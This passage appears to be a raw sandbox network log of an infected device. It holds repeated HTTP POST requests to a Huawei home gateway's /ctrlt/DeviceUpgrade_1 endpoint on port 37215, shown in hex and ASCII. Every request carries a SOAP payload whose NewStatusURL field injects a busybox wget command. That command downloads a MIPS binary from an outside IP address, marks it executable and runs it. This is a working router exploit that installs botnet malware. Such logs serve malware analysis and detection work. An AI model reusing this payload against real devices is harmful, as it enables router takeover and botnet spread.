0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:15.230060101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:19.197547913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:26.876549959 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:41.978423119 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:12.182111025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	42320	156.235.100.107	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:13.736017942 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:14.590267897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:15.614006996 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:17.629726887 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
